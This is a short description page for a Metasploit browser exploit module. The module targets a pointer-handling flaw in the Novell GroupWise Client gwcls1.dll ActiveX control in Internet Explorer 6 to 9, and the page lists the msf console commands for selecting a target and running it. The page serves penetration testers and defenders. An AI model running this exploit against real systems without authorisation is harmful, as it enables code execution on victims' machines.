This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll ActiveX. Several methods in the GWCalServer control use user provided data as a pointer, which allows to read arbitrary memory and execute arbitrary code. This module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The JRE6 needs to be installed to achieve ASLR bypass.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/browser/novell_groupwise_gwcls1_actvx
msf exploit(novell_groupwise_gwcls1_actvx) > show targets
...targets...
msf exploit(novell_groupwise_gwcls1_actvx) > set TARGET < target-id >
msf exploit(novell_groupwise_gwcls1_actvx) > show options
...show and set options...
msf exploit(novell_groupwise_gwcls1_actvx) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
